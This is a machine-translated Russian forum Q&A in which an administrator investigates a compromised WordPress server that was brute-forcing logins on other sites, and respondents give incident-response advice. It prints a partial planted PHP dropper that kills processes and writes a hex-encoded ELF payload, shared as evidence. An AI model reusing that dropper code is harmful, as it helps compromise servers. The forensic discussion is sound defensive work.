Кто-то злоупотребляет моим сервером, но как мне остановить злоупотребление?

Я начинающий системный администратор на виртуальных веб-серверах. Недавно мы получили электронное письмо о том, что один из наших серверов используется для атак методом "грубой силы". Содержание электронной почты было похоже на следующее.

Привет,

Команда / somehost / злоупотребления хотела бы сообщить вам, что у нас были массовые попытки грубой попытки через панель управления Joomla / WordPress на нашем сервере общего хостинга /somehost/.ru / ip-номер / из вашей сети, с IP-адреса / мой -айпи адрес/

За последние 30 минут мы зафиксировали 1500 таких попыток:

/ my-ip-address / / их-домен / - [12/ янв / 2014: 13: 29: 05 +0400] "POST /wp-login.php HTTP / 1.0" 200 3170 "-" "-"

/ my-ip-address / / их-домен / - [12/ янв / 2014: 13: 29: 05 +0400] "POST /wp-login.php HTTP / 1.0" 200 3170 "-" "-"

/ my-ip-address / / их-домен / - [12/ янв / 2014: 13: 29: 05 +0400] "POST /wp-login.php HTTP / 1.0" 200 3170 "-" "-"

/ my-ip-address / / их-домен / - [12/ янв /2014:13:29:06 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"

/ my-ip-address / / их-домен / - [12/ янв /2014:13:29:06 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"

Общее количество попыток, которые были ранее записаны на этом сервере (/some-host/.ru)[/their-ip/]:

====

Это сообщение было отправлено автоматически системой / some-company-name / security. Ваш адрес электронной почты получен из публичной службы WhoIs. Мы приносим извинения за беспокойство, если вы получили это сообщение по ошибке. Пожалуйста, свяжитесь с нами, если ваша электронная почта не относится к этому IP-адресу или сети.

====

Спасибо, команда / somehost / злоупотребления

http: // / somehost / dot ru

/ какой-то номер телефона в россии /,

/ еще несколько контактных данных в россии /

  • Что я должен думать об этом электронном письме? Это афера или важное сообщение, которое нельзя игнорировать?

Мне кажется странным, что они пишут "Joomla/Wordpress", когда в их журналах очевидно, что "wp-login.php" - это PHP-скрипт из WordPress.

На нашем сервере мы размещаем несколько блогов WordPress через Webmin/Virtualmin и сервер Squid, который недоступен извне.

Я наблюдал движение с iftop а также nethogs какое-то время и не вижу ничего подозрительного. Журнал доступа squid мне кажется нормальным.

Мы видим множество попыток войти на наш сервер в "защищенном" журнале, но никто не управляет им, чтобы получить доступ.

Смотрите следующий дамп из безопасного.

an 12 02:35:19 /server/ saslauthd[2186]: pam_unix(smtp:auth): check pass; user unknown
Jan 12 02:35:19 /server/ saslauthd[2186]: pam_unix(smtp:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=
Jan 12 02:35:19 /server/ saslauthd[2186]: pam_succeed_if(smtp:auth): error retrieving information about user thomas

И еще один.

Jan 12 03:00:29 /server/ sshd[21948]: Invalid user anton from 109.7.72.130
Jan 12 03:00:29 /server/ sshd[21949]: input_userauth_request: invalid user anton
Jan 12 03:00:29 /server/ sshd[21948]: pam_unix(sshd:auth): check pass; user unknown
Jan 12 03:00:29 /server/ sshd[21948]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=130.72.7.109.rev.sfr.net
Jan 12 03:00:29 /server/ sshd[21948]: pam_succeed_if(sshd:auth): error retrieving information about user anton
Jan 12 03:00:32 /server/ sshd[21948]: Failed password for invalid user anton from 109.7.72.130 port 40925 ssh2
Jan 12 03:00:32 /server/ sshd[21949]: Received disconnect from 109.7.72.130: 11: Bye Bye

С "кто" я могу ясно видеть, что только я вошел через SSH.

Сегодня я обновил все модули Webmin и Virtualmin и Squid до последних версий.

  • Что нам теперь делать? Какими должны быть наши следующие шаги, чтобы обезопасить сервер от атак?
  • Это даже необходимо?
  • Какие файлы журналов или конфигурации мы должны изменить / посмотреть?

РЕДАКТИРОВАТЬ:

Что я сделал до сих пор:

  • Я проверил файлы, которые изменились на дату атаки (у нас было почти 50 ГБ трафика на нашем IP в соответствии с нашим провайдером) с find / -type f -name "*" -newermt 2014-01-12 ! -newermt 2014-01-12 > out.log, Ничего не изменилось.
  • Я проверил AWStats для всех наших доменов. По данным AWStats, ни один домен не перевел более 40 МБ.
  • WordPress был актуален в день атаки.
  • Я обновил все модули Webmin и Virtualmin.
  • Я обновил squid и изменил его порт на что-то другое, чем 3128. Я оставил только 80, 443 и 21 как "безопасные" порты.
  • Я обновил fail2ban.

Я не хочу отключать сервер от Интернета, как предложено в разделе Как мне работать с взломанным сервером?, Наши данные резервируются, поэтому мы в настоящее время в безопасности. Однако я хотел бы выяснить, что послужило причиной атаки, но я до сих пор не могу этого добиться.

РЕДАКТИРОВАТЬ 15.01.2014:

С nethogs Я смог выяснить, что /usr/bin/host получает и отправляет гораздо больше данных, чем ожидалось.

NetHogs version 0.8.0

  PID USER     PROGRAM                                                                                                 DEV        SENT      RECEIVED
10267 /domain//usr/bin/host                                                                                           eth0     120.571     791.124 KB/sec
30517 /domain/sshd: /domain/@pts/0                                                                                  eth0       2.177       0.111 KB/sec
?     root     /ip-address/:39586-119.247.224.98:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:55718-69.163.148.232:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:38474-184.154.230.15:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:46593-66.7.212.199:80                                                                               0.000       0.000 KB/sec
?     root     /ip-address/:58733-202.232.144.194:80                                                                            0.000       0.000 KB/sec
?     root     /ip-address/:41154-83.170.122.1:80                                                                               0.000       0.000 KB/sec
?     root     /ip-address/:39996-98.129.229.146:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:39872-98.129.229.146:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:37429-144.76.15.247:80                                                                              0.000       0.000 KB/sec
?     root     /ip-address/:35063-216.12.197.226:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:51335-153.120.33.64:80                                                                              0.000       0.000 KB/sec
?     root     /ip-address/:58344-64.207.178.120:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:55848-69.163.148.232:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:46799-66.7.212.199:80                                                                               0.000       0.000 KB/sec
?     root     /ip-address/:38110-66.155.9.238:80                                                                               0.000       0.000 KB/sec
?     root     /ip-address/:39713-76.74.254.120:80                                                                              0.000       0.000 KB/sec
?     root     /ip-address/:33814-209.217.227.30:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:41009-212.113.141.212:80                                                                            0.000       0.000 KB/sec
?     root     /ip-address/:57027-173.11.110.117:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:45436-83.222.250.186:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:59143-202.232.144.194:80                                                                            0.000       0.000 KB/sec
?     root     /ip-address/:43357-217.9.42.182:80                                                                               0.000       0.000 KB/sec
?     root     /ip-address/:32981-82.113.145.170:80                                                                             0.000       0.000 KB/sec
?     root     unknown TCP                                                                                                        0.000       0.000 KB/sec

  TOTAL                                                                                                                         122.749     791.235 KB/sec

При беге lsof на PID вы можете ясно увидеть, что с установкой WordPress что-то не так.

[root@/domain/ logs]# lsof | grep 1706
host       1706 /domain/  cwd       DIR              253,0     4096      10178 /home//domain//public_html/wp-content/themes/twentyeleven
host       1706 /domain/  rtd       DIR              253,0     4096          2 /
host       1706 /domain/  txt       REG              253,0   137592    1054438 /usr/bin/host
host       1706 /domain/  mem       REG              253,0   156928    1178048 /lib64/ld-2.12.so
host       1706 /domain/  mem       REG              253,0    22536    1178065 /lib64/libdl-2.12.so
host       1706 /domain/  mem       REG              253,0  1926800    1178057 /lib64/libc-2.12.so
host       1706 /domain/  mem       REG              253,0   145896    1178061 /lib64/libpthread-2.12.so
host       1706 /domain/  mem       REG              253,0    91096    1178098 /lib64/libz.so.1.2.3
host       1706 /domain/  mem       REG              253,0   358560    1051774 /usr/lib64/libisc.so.83.0.3
host       1706 /domain/  mem       REG              253,0   599384    1178963 /lib64/libm-2.12.so
host       1706 /domain/  mem       REG              253,0   124624    1178074 /lib64/libselinux.so.1
host       1706 /domain/  mem       REG              253,0   113952    1178072 /lib64/libresolv-2.12.so
host       1706 /domain/  mem       REG              253,0  1674840    1050692 /usr/lib64/libdns.so.81.4.1
host       1706 /domain/  mem       REG              253,0   140568    1051828 /usr/lib64/libisccfg.so.82.0.1
host       1706 /domain/  mem       REG              253,0    34696    1051827 /usr/lib64/libisccc.so.80.0.0
host       1706 /domain/  mem       REG              253,0    17256    1178085 /lib64/libcom_err.so.2.1
host       1706 /domain/  mem       REG              253,0  1953536    1050724 /usr/lib64/libcrypto.so.1.0.1e
host       1706 /domain/  mem       REG              253,0    12592    1178067 /lib64/libkeyutils.so.1.3
host       1706 /domain/  mem       REG              253,0    46368    1178081 /lib64/libkrb5support.so.0.1
host       1706 /domain/  mem       REG              253,0    19016    1178989 /lib64/libcap.so.2.16
host       1706 /domain/  mem       REG              253,0   944712    1178089 /lib64/libkrb5.so.3.3
host       1706 /domain/  mem       REG              253,0   177520    1178083 /lib64/libk5crypto.so.3.1
host       1706 /domain/  mem       REG              253,0   209120    1180550 /lib64/libidn.so.11.6.1
host       1706 /domain/  mem       REG              253,0   280520    1178096 /lib64/libgssapi_krb5.so.2.2
host       1706 /domain/  mem       REG              253,0    52944    1051829 /usr/lib64/libbind9.so.80.0.4
host       1706 /domain/  mem       REG              253,0    75936    1052874 /usr/lib64/liblwres.so.80.0.2
host       1706 /domain/  mem       REG              253,0    21152    1178987 /lib64/libattr.so.1.1.0
host       1706 /domain/  mem       REG              253,0  1383368    1051772 /usr/lib64/libxml2.so.2.7.6
host       1706 /domain/  DEL       REG              253,0                 656 /home//domain//public_html/wp-content/themes/twentyeleven/bruteforce.so
host       1706 /domain/  mem       REG              253,0    27424    1178071 /lib64/libnss_dns-2.12.so
host       1706 /domain/  mem       REG              253,0    65928    1178073 /lib64/libnss_files-2.12.so
host       1706 /domain/  mem       REG              253,0 12582912      11739 /home//domain//public_html/wp-content/themes/twentyeleven/.sd0
host       1706 /domain/  DEL       REG              253,0                 655 /home//domain//public_html/wp-content/themes/twentyeleven/libworker.so
host       1706 /domain/    0r      CHR                1,3      0t0       3782 /dev/null
host       1706 /domain/    1r      CHR                1,3      0t0       3782 /dev/null
host       1706 /domain/    2r      CHR                1,3      0t0       3782 /dev/null
host       1706 /domain/    3r      CHR                1,3      0t0       3782 /dev/null
spamd     18546        root  mem       REG              253,0    37000    1317060 /usr/lib64/perl5/auto/List/Util/Util.so
spamd     18548        root  mem       REG              253,0    37000    1317060 /usr/lib64/perl5/auto/List/Util/Util.so
spamd     18549        root  mem       REG              253,0    37000    1317060 /usr/lib64/perl5/auto/List/Util/Util.so

Мне придется взглянуть на home//domain//public_html/wp-content/themes/twentyeleven/bruteforce.so,

Просто все файлы, которые были изменены в январе 2014 года, не входят в стандартную установку WordPress для темы Twenty Eleven. Например, есть скрипт initvsafe.php который может быть использован для хранения файлов в файловой системе.

<?php

header("Content-type: text/plain");

if (! function_exists('file_put_contents')) {
        function file_put_contents($filename, $data) {
                $f = @fopen($filename, 'w');
                if (! $f)
                        return false;
                $bytes = fwrite($f, $data);
                fclose($f);
                return $bytes;
        }
}

@system("killall -9 ".basename("/usr/bin/host"));

$so32 = "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x03\x00\x01\x00\x00\x00\x54\x0d\x00\x00\x34\x00\x00\x00\x48\x69\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x03\x00\x28\x00\x0f\x00\x0c\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf0\x60\x00\x00\xf0\x60\x00\x00\x05\x00\x00\x00\x00\x10\x00\x00\x01\x00\x00\x00\xf0\x60\x00\x00\xf0\x70\x00\x00\xf0\x70\x00\x00\xf0\x07\x00\x00\xac\x61\x00\x00\x06\x00\x00\x00\x00\x10\x00\x00\x02\x00\x00\x00\xf0\x60\x00\x00\xf0\x70\x00\x00\xf0\x70\x00\x00\x90\x00\x00\x00\x90\x00\x00\x00\x06\x00\x00\x00\x04\x00\x00\x00\x25\x00\x00\x00\x3c\x00\x00\x00\x21\x00\x00\x00\x31\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x30\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x2c\x00\x00\x00\x11\x00\x00\x00\x1c\x00\x00\x00\x28\x00\x00\x00\x2f\x00\x00\x00\x3b\x00\x00\x00\x29\x00\x00\x00\x39\x00\x00\x00\x15\x00\x00\x00\x05\x00\x00\x00\x2d\x00\x00\x00\x00\x00\x00\x00\x38\x00\x00\x00\x33\x00\x00\x00\x1b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x24\x00\x00\x00\x00\x00\x00\x00\x32\x00\x00\x00\x1e\x00\x00\x00\x3a\x00\x00\x00\x2a\x00\x00\x00\x34\x00\x00\x00\x36\x00\x00\x00\x23\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

...

2 ответа

Решение

Это вероятно законно. Причина, по которой он явно не говорит WordPress, заключается в том, что это автоматическое сообщение - автоматически отправляемое сценарием, который обнаруживает подобные атаки и сообщает об этом владельцам источника.

Если ваши серверы были взломаны, злоумышленник первым делом установит измененные двоичные файлы для команд who, ls и аналогичных, чтобы скрыть свою активность. И удаляйте записи своего логина из логов. Так что, возможно, вы скомпрометированы. Как мне работать с взломанным сервером? охватывает что делать.

Скорее всего, они не получили доступ через SSH, скорее через что-то вроде PHP-скрипта, который действует как прокси-сервер. Проверьте все ваши сайты на наличие файлов, которые не принадлежат. Проверьте журналы доступа, а также для необычной деятельности. Проверьте наличие устаревших (или даже обновленных, но с указанными уязвимостями) версий wordpress, phpmyadmin и т. Д.

Вы также можете проверить, если rkhunter выдвигает что-то подозрительное. Реальная проблема заключается в том, что после того, как сервер скомпрометирован, особенно если у вас был исправлен fail2ban и другие пакеты, может быть безопаснее перевести его в автономный режим, даже если он предназначен только для перемещения некоторых свидетельств (журналов) на другую машину. Как упоминал Грант, вы не можете быть уверены, что журналы не были подделаны / удалены, чтобы покрыть какие-либо треки, поэтому предположите худшее.

Возможно, вы захотите взглянуть на журналы fail2ban, чтобы увидеть, есть ли что-то необычное.

Вы также можете быстро взглянуть на справочник по Debian, часть 14.6, посвященную взломанным системам.

Другие вопросы по тегам